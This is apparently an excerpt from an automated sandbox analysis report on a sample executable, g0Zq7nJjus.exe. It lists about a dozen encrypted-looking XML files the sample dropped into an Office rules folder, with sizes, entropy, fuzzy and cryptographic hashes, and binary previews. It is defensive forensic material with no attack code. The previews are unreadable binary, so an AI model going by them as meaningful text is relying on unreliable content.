Preview:	<?xml..^..^p{k\|H..m>h..o...g.....T..3VH..0...H..I<B.R..^......)..p_..F4.C<..0f.......Z.4.r7%<jO.-+...u!...k......D.....s...M"N..e.[.)I...:.....e..Z..9.x$.R..n...^........P.........E...A..\..AAAF..Q..5..IL92}]...u...b..f....S.=y...>.ef.G6....f.a.).:.u.l..JS.+.pzj9..Bd....=/...,Dp!.I'SYg...XU.'0...N..{.gk; ..d...%pL......'.7yI..g~...6+a..0.7.."......>...9...w.#'...f%d...L1..p~G.U..S.QRc.......i.]'.(..+0..x.~.%L........S....<....\......q.F....W.."nZ..%.~.5.c.....Z.X.U-.YJ.P.c.+.#....C2...+.{...@....S.Bx..zM......!..<..........f%.L....Y.....C...M.n./..8..\|..Ok...n:+:..3&].<.]EXi._...!%h.w..u....O+c...[.l.1i...,...4.14..w.. .T..4(._....r.4.~S...T7W.p..(O..E0.......J..P.\|..0(...b...t2.........s.^...p.9.WD[..$].Tzr..?}1CwG!."......E.I..m...mk..q...Dh.5.G....p=>..ob.0..t.....1-..i......0..0X..A...V}..b.....8y.\|,..ne3p1?AZ".....b^I.kz0.wb.....Lf_..im.....b...G l....Z.O._...HQI...I.(.Ug..6F9(.u.H.hW..PN..<>...x...L.w....."aT...<..X....6...]....U(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.884195980295403
Encrypted:	false
SSDEEP:	24:H6gKdaPJqt2d+MIhZgZRuyYowQAEQW+iaPU39j1o4YXRKk/CCTaE51u4gYcff2bD:H6pf2diOR2owssi7tje4YXRZwE5r3cED
MD5:	EC389B1BFFB316FA619F561D3B6816D5
SHA1:	4203D4DB88214F4E77E63C89AF66DBF85A5766C1
SHA-256:	B99A899A30335C84CB6D5057CA6C8F06CE3A1ED3B113B9B414A8BACB0BC7D011
SHA-512:	69B42EB0B604FEB344B5DB48A542CFD5C64DDE6568167C4F001EE63D175500EBD4E8E096CEDEB00DD6349B211A8E5F4190CAC05F1B9677449BC420627BF1A70E
Malicious:	false
Preview:	<?xml....(]O<9su.K[y7._+,z..?..p..)..)D......>ZJ..j..@:.M..K.H.Y....._..V..?....}...<...w........>.3-(.....).C>.....K5.-F....c..w..Gr9.X......;Q....kpC.....F`....Hk......R....}].y).2.,.\|P.-.C.>..K.S....E.;`..I/p.>..u.'.:..hH...@......\|..6.wzs...i.b...1}=.........p:.B!.......0...m].?'"e.....2[5i.J.5O.E..4./sM..v..#F.....a.[....7...h.IP..y.X .$...<...)V...[Uc........_.r...s2...4.1Rm.#...Z.....J..#. .i4......J..I.[&^,.. ....@j..7.m..+.+..3.c.#$E...2...L^t...p....<.]<bmh....r-y(..Z.._x...{....h...}C.B..I.0[...:8..hkyi.C&.!..Y.k....U..\|'..^.k..r...,..<El(..K.._...utqo.....o...g2.;.jb...W.ae..%.o#d .....ov.O..\.\..}w.ll..o./.D.[(..{~j..u..savwv..{/...D...d.{\..;..W.}.Hs...n.k..J.ii.IB...._......V+.q^.G.\..8w.`....y..[.....2..,.P.S.......H.[.........y../...(....N..H.....v@s.G.a."....7..{.j......[...x\..'..Og.....i=Ng...1...6...........1.t..8.c....$3wI.G.P.'/{..[.f._..+?....$R..I..ag...{!?......\.eF[....@<d.5.Ca/\|.".F.;.2....h..{........<}..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.892478428426872
Encrypted:	false
SSDEEP:	48:5QEfPOzyaUpKW7aULk4BFTzNuJ8UgLEEg+D:TnIyaUEwayTFTzNueR9gG
MD5:	70CC832343ABB01552C7CD657A7A8F3F
SHA1:	AC4A3A88DD6D352D7ADD007D121DE44841A92DEF
SHA-256:	A8AECD3E03DA9D94D407FEDE9B7E434DF05345C568567D1F1918B96018B2DC16
SHA-512:	0F36EAB895A0167703520B136F4A7909F4A2A7C644DE1AF3B76440C0D18A6777AF9D87EAC1FAAB69781C093ABEA335E51A95AFC5B5F9BE19079D4B804717EDA4
Malicious:	false
Preview:	<?xml.">..k..cE.D..;..M...(.\|i."yn..l.....;.C'.(3.V.=.xqS4.."2i<.WC..^..a.U.6.,..>...9$...up.LDZ.{._.p.);......t...../.._...c/..._m.......R.R.s.Y.1.u...4w........n4.b...5"..!....".S.^..$....<....a......T_..+...hMq.{i......p..H%.l$...J+:...{..U...3...o. ..h.m9..^.....~^..,a..).k...?.`D.I3st.i.,n.i.Q.4....tL:2...0.....D../U..Fy.TYT.:.M..^#..V.H.Pf.......#.U....o..,l.dm^...M..]n>..H.C&..b.o.6...a...yU.m.B...e#.f........+....H.0]...i.eZ./..Oy...........dV.......svh.........6f%..~....C.[P....g..f+.....]o#&..v.b...... .6.....#.#A.<.,HB.....Y1F....'.......z.9....cH.g.......J..?...B..+E.W..../.....8m....o...2......I].Z.f.....{..Pum.jA<...A..9.L.j..?...7..U....Q.V.A.P.. .~m...c.s.S<f........L..B...\....iNl.=e....a..kB.....}t...m.....OTul..4ht.f`..............E..4b......u.q0..G.^...gI...+8.TQ....&...y..e.....nn>H..7.k..@..*...R^.....H.X..;...&......K...E.&Qv..!.....S.q.of......Q.0,......&.L........X5.k.F...`..,...`..<.!....N.qZ.p8n..k..I.yMX.E.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.886909854971179
Encrypted:	false
SSDEEP:	48:FFH68poKPYKlnWXjegjETWtw8KUwaqoyeBVD:zHBplYsWigltw89Uat
MD5:	ECDDAEDFE68C4F9E6BD2107D3B4E23EF
SHA1:	642969804EE93799764D3887805462AF99BFE405
SHA-256:	1BFC6B81650BBEF11F6CFC268266B85AC5E2CB28EDD183C761E359D89670EB67
SHA-512:	2BC60814F2CB8B41605FEB7D6ED67B3F04B800FA0AD94BF3CD0FD0AD7C2C8BB46AB9B5503BE2E0AFF89A9B35DCC3D90678166B8E740016D6A3A5FEEF6B3BDCF1
Malicious:	false
Preview:	<?xml......m.......).....u2..-j..<..u.......@OoHG].!`.mi.$A..6l.......1Zr./S...s.....!W.....3..................&d..^.\.X.W.Z.._C......X..B..f.M~._.$.......O.%.....z!...N.79.pk.pK4.g.....glc\....6..kw..G12...........m..+..@....Irar..2...!..9~..T,...O..f2.V.TS.-..G..-.j..B.?.r...H.......\...<...V.. .uW......W..k..F.=.@oG.a...P.,.u.[X.,QH.z...............`b.._..o.....U......J...<..7.M..Af..}ZK.Q......_6A.q.... n'.....;.\|.. ......2..[.`V~...7...w......GS..wE..a.=.b..l.8.Jf...H.4b~..0....].uA. *=z@..Wx.&.~d.Pg'..mu.?.....n.n..(......yjV_^.............h/,..{.....p.^.Y...:A..O.6.!&z..t...s...$.z.w...\|J...X.`...w...}Fh..(W+..@R..P}%.T..._.z..{.=7z...d...Y.}......n#..._]B9~..f.......R..:.S.....rlQh....w...r.,..3q..x. ;F.....-.......>.....B.;).A......D....s,.r.[.Oj3_#..]..o.y..7..L..R2..+f...}.4L..f.8..iXUW....gGGO.M.. ......#?U.K..\.t\|R...\|..W8.N.s.j..O.Pv.2/.'..i. d....Q.&H-.=..[...\....`7..0...d..[5...I.\|.'..$]4..z.!kV1....I.>>.......l.1.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.890669549669625
Encrypted:	false
SSDEEP:	24:/9BBUVLx+/CSfE1gLaBoyy07GOCVDkdV8MnU/zQ9ZXCfyKzxNpHi5+OnY41FQ3yS:/67wCXkaC0EVDkdVBGzQ9ZKVDwiygeAD
MD5:	FF00207D96AC031AC6042EB765F61588
SHA1:	06FDBBBFC69E058EFCD03A7C35C040A8B4589043
SHA-256:	A73D920354BE2CE1F4BE68D0F8D8F8CA0A0E46C06AE60F7C998FFBFDE5203A97
SHA-512:	1281ADA2CFC33689EF5EBC4C09968B294B273FDE842B2D001EB78C23F58A3D295950DC0640936CE9989174BFCBB3238168F0A3C3B3D9472A2D963D9DA44E29EB
Malicious:	false
Preview:	<?xml..3.?.` .>4.4\|.yo28.k,...M.J..H..+{.4).W>j]W.c.!lQ.f..H.....6..a..h7c.#....~v..HV.....]A......+za......j@ES..PS..@\.../._j"I...w...Ns}.1.....8.._...^}..'..%.W..J..0=BOO..L.L..1..G.....A..&....G.o MN.zuO...k....E....q....Q..7.f.?.........O.....i.u..~....k...I$.L...,........'/.TA...i....].X...r..'..B.....0.!..........j/..@.s...W....T..b=.?~..OG.....U.1.....f...Y..0.EO.6......K....g...GP.).Q\|$l...r>..L..bz..k.....,.>h.a.N..."...m.V..t+eBRBE...z.r.i%od..._.@..e.vN.RKY.sh...o^u..g.y."....,P.[@J.....k.2.t)....hp.;.sDAk..6.M.e.....F...i.......w...F..o..[.2.p ."..w^....6.>6.........}..7..C..6w.q..(...o@2.&u%...g.\|...o...Z...yd......L7..T.4...k.2....G0[.aR.j.S...&...........<...?..HI.....!.e....A.~0g.x.<.Y$U...-..(..E.m....\.+..eKLy^.........e~.+.T.7}cH{r.\|.O.....j=..a-J.._.]].V.e?0....m..@...6..;.@.Z\|......\.nn"@Ag..-.....7+N..O.=...ST.?20H...{p..9_J.u........oDt..{..._.$../~.>J..E.4g...../z.fGyh.q.BB.`Z....k\.l$0..PNc.M..%...R.u....IX

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.890818739798714
Encrypted:	false
SSDEEP:	48:bwRM1OZuBtz3N6yjG12b0EQizkVJixJ9fD:YmOaBN6yK12AEQizkVJ69L
MD5:	BB1E7B52A0F6AF3A7672217DEF2249E5
SHA1:	B8FB6FCAA0C94F0328C648A62F5897CF1F28BF5B
SHA-256:	3A017ECEEB095E0AC0969FFAEADBD67506B2CAD7951C79E93457298989BD376F
SHA-512:	A315C5C773171767D271B3EF951CB8D96B2B5E8550F6924F05C90BC35C87CE5FCE0B9A65B6AB25D5AB01BB06CDB09039593030AD91E02B32A08EC352CE480342
Malicious:	false
Preview:	<?xml.....V..........aQ...s.B..C..y..u.3N@..+.sv.2...7w...k)4.7.....3H...?.PE...".>.[1K. 7E.....l.`_,lY.P.......@.R......t..+L..-,8..r5.........f...E.8..1.r..6T...A=.B...hQS...&E.?..s.e..2M./4%B.b>......g..._7...V-.[...1-v...A..c....x..#\W.>A.dm.....i..P..>m$'nD.\zv.....j. #......Y]._].x.S\|..;G........F..n..;M..5H_..!...G.......hMz.H.....U.......x.Iy......j.k...........Ux..rMF.X..U1$..^...1....J...6@...aZ].n.V.C.2GV>..Q.........6..hU!.F...w.7..>=..L.3.Z..yM...%AOC.[...^....fWh...<....?.....@8o.....K.W.e."..../+.;.........K\|........=..)X....x..-#-..).R...a..D]...E.........+:..3..+.X!...P....R...;.s.#.P.V.7...;.[&.}m...<...JI.X./.y.{......6(.+..g..aj.......W+..t........`,0!... ....'0E.x:...E.)..?P..1.j.........E.G.c.;V..J......6!..&...........PyyBz].w.g....)....!5x\...9.s.....D..0+I..F+...;......=.h._~9...>.....m..n{d9-.P.H......"..0.R...i......n.%G.S.t?.b......!X.YG'....&+......yS.}n...s.E.....z..%0....Q.a.S...f7.oYRCl..0.r[....X...;.../V.y.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8909979306964
Encrypted:	false
SSDEEP:	48:NPN7LoCdsX2Q3K/SYfMhSzdBnhyifgaGL/UND:NPNBsXta/SYEsLPhGLS
MD5:	9D37A6BFAECDC1F4329A40A0C806FB1B
SHA1:	9CAAB645E16B865A2049A8295D2B5B4A01C27997
SHA-256:	223B90403C8D00B2434EDEDA19DA999A5DA2F0BDD01CF5FE6F06F665A6DF17E9
SHA-512:	15B0D7C28FB0022E5D4977E3C3D2BE6FD46A2D50D4F3A2782E8A9C0BFB7A2210AD211A8ADC14D35F77A68971974C63664AD59CCF3E9A916BCE61DC9153402636
Malicious:	false
Preview:	<?xml.}..;...i?.....nD..x~....>u.../.~.UjH....?..>L.... .......3....R.4.n...WzW.>..,l%..%.....vV]..........>q.."p.?3.n..<....\.....+..]......P..]...p9.^R-2o.i.kE........W^..(.c...)....ws=..W..e.c.?.s..L....h5....".Q.....vQ....,8..H.5......+.?MX......%.h@C7..-W....b../..[....c....e.......'...Rt}.sv%.Q98.L=v.......7..[..^!..{.v.5P..\..3....g.........(..A%.kX-.......'N"....a<=...{}...-{..C.U..~...I...IA....u....[.M..w...B..'.q....V.P\|.U...mQ...\|q8&7e.F..@.C~..j..:P%\.........,...\L......C.m..^.E.....Gd..g..R.1......`......p.....'...............s...t..P.......Q.S.R.s.......UTS`...g:a..G@z..F{.9...\.........Q`..\|..Q.7#..x.N....g..g....l<g..U)...:..t...@.Z<.........:}.lX.Ta..........Ec..jJ..K...D.w.m{LZ.bddm...v.g..y...&........{y.(.5.-.J.......u..}.U....W..+..._..>.......L...Y.....'...E.0....H\|..q.OF.....:W.$.OP>._r.r..9...~..v....!^.....R..p@l.<5...:...h......}.fq....l..+...W{)c.H.. ..!.e.%...R.u.S...H...Y.;'.-Z.PZL.$O..a_.P...^....6.......z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.890964613064245
Encrypted:	false
SSDEEP:	48:euyKI3MaFNTKURuZSevuiaXZAW7vojgHD:egI3/bTbJ6uiu7Q8
MD5:	5BAC196CE427161860EE2C8036694D46
SHA1:	5849F0283454B201FE0276E94B37F1E563991B4A
SHA-256:	BDD4995D1C83BF9DD0504F22B3A1D562EFD84684A8C9EFBE5271B72003D94835
SHA-512:	2102D1C7450365E14B3335EAB95632BBA9DACE2C10139BE36142451776C700AC35C811352441E715C07FB87A5E486D40DBF3DF75810B40462BB104EB2B9ACDCC
Malicious:	false
Preview:	<?xml.....Z>.<.6.-....a..?/pz.#....T,j.s^...3...`.&...b.,.<..`./........."Z.....!......g.RD........-....7.\|.j.L....yx$.3.2....I.......FW.^WT_,....'.I......?N...V<...y....A..-5.....d.%......VUU...........o.J%.~.5t..4.G....c1.(pp:+....0j...oSX[#...e-.....9.Pxz.>..<Gf}../]&....~/..qv.2.\|..........p.....2..:..B"...$H....8..J..ss.%.{....^..z...^,.S.z.!.......-.Z..{....\|d...X..A..iFH..u.Y.X....[..J.A......k.6.2aQy..6.....y..T.....a.)...9....q..&.B1.I...n.0.i .E,T...7X+.[.W...Gb...]..O!.O.p.:..?vnm[.b..M..u.A.J5.qM..........J...?(.WNi... ..aV..lP.y4"ZR...P6x...<..;.%..i.N{...\|a...D.DV..U..J..4ec3..5-...C@g$.3....u(...la...4yI...l.....=..6....bC9..ba<........"......$.......'dn...d.)......J.i.F.......T.[.....H.A.......0.. S.X..;]Z.M#..1..........I.,E.^...r..l$^..\|......P...C......b.0..Q...L}..^t.5..q.mn.e..9q....!6.C.{H&$I.vj. ..T......Ys..._......h.........:..............T...d...<.}..N...../k.K.....8....M.A!....X......{5....a.u.Z.uf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.891781823024014
Encrypted:	false
SSDEEP:	48:ShXRFKCl2OoqudSkxAIjdFUB9H952qcC69cNJSkD:SBHKClB5kxzde9mfDpw
MD5:	992EB3BBB730974488756E93C712616D
SHA1:	70340463859A2158A38778657C99118E9230C31A
SHA-256:	77719F81E67D375C5B7EEB9263EE8A76592B5B53E5A1EA3C16E79FA07CFFB035
SHA-512:	380CBDA68C3E60258D4EF91CABC4A535BC5A737BEB8415455C68DFF96BAD5E50FCB52BF6878D2E8DB064020C60EE41DCE2E30BB738BE628930342F1EDF75FAF0
Malicious:	false
Preview:	<?xml.2....\|..4....8V....t...='K[P'.o.CC........l.#....q..e..y..`.8p.k..p..}..A~.t...Mv~BL...N....,.ZbR..j.l.B...v-....G...)6.....(...[....;.WP.7...){.qn"..ZI]J...7.N...Q...b..}....'....4..$..62.~..M..o..._..@..m-...........on...m.0.^........HQ.w.......=,p...+....#Di..c.u.X..r6v....`y.....=J...?...:D...g.....ft......n..^iM.p...{.\O......^.=..$K.t.wy...._.L.T.C..X;.u..x..[..w$....!..)..)...F.Y..T...J:l\.R2..]..~8..:...<K\s.....mM.PG..(.J.b...uM.......i$.g.ltX...\|A`+.y.mR....z.!...bN.x..~.....lCO.:&jj...............p....}5&....5.q..8...t.....r.`..8....H.........!..N_.<..5....b.j..to0.M..x...d....;...&........q.v..A.&..v_. ..IRJ.....[ziO....r..)..`.2Ip3.)J.t..i.Q.B..n.1.$e.2.....z...j2..53..(......[(b....$..h#.$.....Z..k..Wz...-%5D....GvV.e.E.....Y.l....c.h..G4/U^=-..2..Fn(....ci..@&...X9.l.......~+.U..0.rP.'P.BT.QY..8....[..E......4...$.........U...].(.O.7...}j.......k^.....2.j....j.4.I...v.M.yFM.?6;^..{)c^y.G!@..N<{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877629706980728
Encrypted:	false
SSDEEP:	24:rDO8L1lUO6DEkVqvFjTLyN0a4+mUeqlsEzQyslBTIgQZHzkQR3Ziftn2T2t2bD:rag1lUOHzdTU4b8zyyHz11o1n2T2GD
MD5:	E0F0425107607F409A875C444CB35C01
SHA1:	BB3D24F8E808F2FB6E16167CB87EE0A5ADDB3083
SHA-256:	D8D81B167A6A1F4EFEAF6328AA07FF8DB5401C21141572352F5ADA717E199816
SHA-512:	E69E6E882B96789C71C18CF9BE703F6820F315F73B867968A3A7EE43B709F12C0D9C1F69F708D268EBDDF56D073D5220041D282807BFBD5A30E9843D23025899
Malicious:	false
Preview:	<?xml2.!1oF.{G...3.....z......V.D...x..Ar...0.....2..........w..X..r2@/.J.C.UV.rgV.j~.1@{X.K.k..F,]..o..[.RO.......x?.....Ll..e.:....3U.AR...Ki.H...W...}....Z..P.i......z?..3+.:...t...'....V.:)e..7...0fM:ydjU...CG.m..5.U......c{....W.e...!..f%...........Fg7.`.H..+..h..[uE.+4. .zx....q).;...]a.E..ub.1.......#XQ..XS.N....m.p...Mt....<.!...S./,q...W.....e.c@.j._.Z.2.....SR8..+.-1......3.....\..w....../....(?..L..9r9...{Y.1.b.~.3.D...........('...].f..aw..FD~.....A.F....\..D$.w'.=..RY.qm.+6...2.v&....xn.]5..v7..h....=^.`>s..q0.B...8.l...[".d...h.=a=o.'...1".I........dX.....Sn.G=.j..\|.D...0)..B.L.K....(...w.._...z.AZ..]......+..2...h}._.....\|.....s......X.U.?..lC.s]...eV..,....I..:`.8w^......=...3"Yb.9....1.n.)..4T,c.@...8.Y.)E.8 (<.+.v........k.Z....7J.,n...>;....+8".!..9...2J!].D.?.l.eP...VZ.P..nX..bPqY..$...^.\|E.(..J...z;.h.3.RU..?....$.....u..;....L..+7`j......C..p+....5.W.].C- .O..U.......Z.jiU....Q...2...'.o.3.....p.r...H..c.N*....2.?.\~@p...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.870227646401329
Encrypted:	false
SSDEEP:	24:gzGKF7oTlL3rVcRsnfsFwNHog6Qi14vJfLlsU2HRQbfWKEkXj1Me4JYqO2bD:gzGUiL7fsFwRl6IfLlOQiveCYq1D
MD5:	EF8645B6E5655BCE8302DF2D51BE0154
SHA1:	33405791DA47C927A3FFB8FB46B70FBCEE655A23
SHA-256:	2472B305A8ADCB137DD2F1B4904EFF00D47FDC40AB7E91538F5C7A72602DA754
SHA-512:	740EA7D356AF112E5B0835C4169CA809C596EB9C3400E2DE266818381D813523301E8677B4BD5687BF445B5499CC7475333EA77F48D0FC6E6503546078A72097
Malicious:	false
Preview:	<?xmlS..0....Yw....u..H..i...-?.....`.H...ZQ.}...p...K!....v..b>Zx.$t^5.!(U%....kZ..z.+W..\|....8...m.V_d.lz.[s>(.3.$.....(......KM.u..W.^..g....?.C..K.L\|..iZ....#...<.1.%..to3...8..8..z=..s."..]..k.D~...].K...rHs...\.=..-....+$p.]E.L....53X..NG.8..f../.v+s.[.&6B.]n..@Etq....E.K`..`.B?qg._v)S..9....x..O+9c=.h...8.R.J...2...j......p. d....XKFLiY..i...@6.W!)&......v...@g..==.b..-.C.)..=mY.....-K.....1a..2`I..R....H...SQ.Y.A...b5g...3o.1.....<q.......b......(...Us.u..B...D+J}{.^3..it_......@...+.F 5Mo^.B...Q...oZSe....$~N.C...e.5.}.g...8.....#....m..?:A......X.=.w~..iX..8.8.+.Q..gG.....&<.....\.ZH..gZx.F.%S.?.>..k.$}..)...."....=].{!..M.\~f.Q.lM.)'....tF.!3.9...d../..0'.Is.....Ks...P..t..S.+.%.....HE#..?.es.@.........BJ.q.n`k.......c.FJ.v=$..i.Fqj...uR.V(.^d..La.....kj..h`....Gm2..:i3e..tl^...rp[QQ&1P.i.C...K.[..<.,......vZ.@=/....CD<.Z$...iQ_Y......^:B.....G.JH..4I:...u\.N.=.n.........c.vP.\|..Z.l.....Pos...Z.....r........yE<m...?....o._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.893511345779003
Encrypted:	false
SSDEEP:	24:gx11W6XU0Eim5WnszbJKSJxg5r0YkiLm1ZtmN1pl3jYSoiuTo9bHi3ku2bD:0u70y5WSKSAdkfmpl3jOUi3kVD
MD5:	8C5A4A0DC67E177ADEABA2A8EFFD02ED
SHA1:	6298ACCA6CE89B7CF18D651FFCBC12B9A9A0DE38
SHA-256:	50896E4490E88A2ADE3AE79BFFCC3FD924253630FFF738CBB809E5AC2B2550C8
SHA-512:	33EE36AEB9F49F7B31DA104B9C5D9582CFF9B3A35BB6F4F7AAABBA21D1A353CFC578FB5210A096F83EE205C30A97390C9846059D8AAE18B9BA41EB1F31FDB9D3
Malicious:	false
Preview:	<?xml.Q..M...~Ju[...-D.'dvE.?...2<.nx.....m6...\.%.......:....IU2;ME..bS.\d...r..%e.........tr7U.1w#....A@.3....>....G...%[....o..+./.JL.&........V$.3UF-om......z..U.Q...3.._........Kc.d.V.....Qj.......$K..{.r.dq.nz;....E1Xh.......E.9zFh.A..Hz)....r.P..:t}6\.i....1.(:.e.)T...EG........,..../]V..a..v...upf.N.$\|.ua-...k.o.j...`.......}...0.:.......v....2...fO.eL...s..?.....c6.a.v<.n...e.%v.."DI..3.....A...n.d[....x.(.$.S.W.....5Bp.s..#)Q.;....uZ.h.....l......F.6..).u..Z.Nd.........V..1..ZB.....+K.b....v&..x ..._x.^q.)/....l..m5.N.B.......p.DiH...%.^.s...7v.......N...;'.\..G..I/%.....\.!.'@..^U.p.O.'-....c..yLlTkAk..V...P...I..H&...n..O...._.Ey.o)..i..d.z.H..u....J..0.R!...7fT.C.5^-z....l7.]..75.........u..0.Q....zUc.~....:/.GYs...!4f.w.........#9M.$7u.uZ.?.J......f....u.3.\|.y..3.Q.\|.. /..#w.v..&`...w6.h.fb`..P......2..o.@M....+.\|.b.-.\.c......2.{.Z.....G!.vG.PN.7.Mb3..>7.=.....'0....<.YT..\.(-.B..&?...k....3..o..LY..W...d....s.....h.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.897884791343861
Encrypted:	false
SSDEEP:	48:ALTGdHRsklTSJ6BH9/We37AU84scMzSPTAZ7BU+cD:GG0j6x9/We3kU8TSsPc
MD5:	FC90AA45B2B633EDBEA8F38801B8F2C9
SHA1:	9707F36BF702168EC12F18ECDC3877C008DA9B42
SHA-256:	14C68CF74C0DF272DE78F056C86C07C3E8799EE0D031B900CACB8DB36A34D2AD
SHA-512:	D8DC0903C0A964A4FA3B44D1F872173688E31EBF185A2938562DDDF527EC86450B7E73736327452387D464C33216B41FCF51FEC9B8F2CEDC25DF5ACB987F5BFF
Malicious:	false
Preview:	<?xml.t.P....A...i..wt^...i.;..o...........!..7...0._.,.wU...;..@.:F.s...f... ............g.F.G..E...... ?9..4..b...c...[..!I...zsC.G....9z.H...4....zKe..F...W..Eq"F.>..u...{.bie.kG..H.;Rx.J...m.W<.. z...B`W<_(..O....n.._>.k<.q12.E.w.G...2...OS\|w.._3..q\Dr.3Y..6..u..1b.g9..bL...%(k.TK..?.<.J..3.H.G..O\|"........S].* BK..+[..t..q.1U'(...3.k>.[.h....a.zP.....O....i........Q.O.$&c.l`<..F.G...;..l.H'..Ui..zx..D~OFa..u..%hE....]..F(..r.$.[.\|...a.<h..[.......j. .N..\`.SA"..."}..uZ.G..}L...~....s?7...n..7f.>...u./Lf......".?K.i^(..{.....J.}.@.Y.....X....M.B......&... ....)..... l..=...?..Z.*.r..?Ia..).Ru41..............9..j>.&..`.d$...3...{>J..-xd....!Re...o..W.2h.S.H../....C.'\h.2.]....5_...."....>..V.i....r..V..b._b.k.!.....T...w....._\...+@...q =.&.w..L...Y...-....z..!].E&...8..EV.......5.YK.xd..:.V~.....b..~ u..=......<.3.B.......r.n.=.C[.'F......ISo...!.p...m#.s..+.H.UJM.0..@..W..F.E.N.!.AH"T..B)..'.H!.T.G.w..t.}G......l..../.JesXT......OzHW.o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.87398205356783
Encrypted:	false
SSDEEP:	48:5iLQWXocrXt4ApiU7Gb4UHEiGb4uAiMBvyEOnJu6dpF66+9D:5+QWXtR4qRQ4x9suAHvy8oF+F
MD5:	BACB5A2D972A8B97920A426F996747C8
SHA1:	54C929E36EA34B137F6B90F69D892B1372EB053C
SHA-256:	EC401DB5CC8E38C67D5960BB9B836D6BF72542C3D21F39D521114A230D1535A2
SHA-512:	6103A1C136079E4267246473D922B15EA71A3307B498F96F2415C253BA3F57F9AB519BBB35BFA6A7F4F4D3DDAB52BA367EEE12DB972F247146676FAC58F87921
Malicious:	false
Preview:	<?xmlR...0..Hr}l.?..@.I.H.].0.x(..E...F.\|...^...A....h..K...Dx`f.....u...M.at....K.=.kt...!...'..e[..q.7E.\|AM......V....r(..%..P...\|d..>.d..@...w..;.:....(v^...gf..h./..'".A...=._y.Twa.!..o...z.;r.M.s3..@.VB....].2..,e.@?...v..W..Qg-..J..u...$.m..._...?Bh...j.f~/........5Gk.ha..&"._...:@.n.1...G..5..}1...o....}.?!......5.e..N".K!.2..6..z.+.(......^.....N. ....Xm.......n.i.g..{W,o..zh...M.S..'.s...<....%..`..e{/.F...UR.(...K@....,.vI...'].Z66.Gw..)^.(.%h$J"..9.L.[..A...5......f.Bs..Y..]......6.Z\|.U.....H..qIpV.C......D[9G.5O.S..W nl.m.3.,...{T!...&..L......;.V0..$.htU..a'2Ew>_.8_...Z....)......g=.C.y.....f...k..z.....M.......y.....q..Y..l.v1.?..\.&9...s...,$0.......CJ.1..u.?..,l......t..7.......R%s_...P..!..U._i.....[.i..g[n.......O..%(.....sF/.HIq.B..x.a......\.'..}.......8....w.;..U.....:.9....L...H.>....M.A..k.!.!...M.bV.M-...U...RC._k.3x......9Y.....C0:YU.#-vh.)g*..D.H..{.VL.UhE...i_.Pa;AG.v..A..e..r..I..B>..c..u.....Yd.X

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.891982916930695
Encrypted:	false
SSDEEP:	48:STR5KFcAEaTEI0ae8/a5H+teg2/EB0Lq5UE0Zd2nD:StoFfl7ba5HG6eRQZkD
MD5:	938B70A25E7ABB4A86B5539CF3456CC1
SHA1:	810BE7E09E9DE779A26BB137953234E48BE2B45A
SHA-256:	943D57C7FDCB30F001F00E1F3C180F4656D2F9AFE367F995B4C3E1E91B3BDE09
SHA-512:	79114FB64FF1C9EB00775367C96BD18EAEF5F718DDB7218A49D431AC0399F4EF2A76314ABA0E8BA8827E68E52C1C8956FBB1CC2FA6EB0B65B1EA2D20197D9B94
Malicious:	false
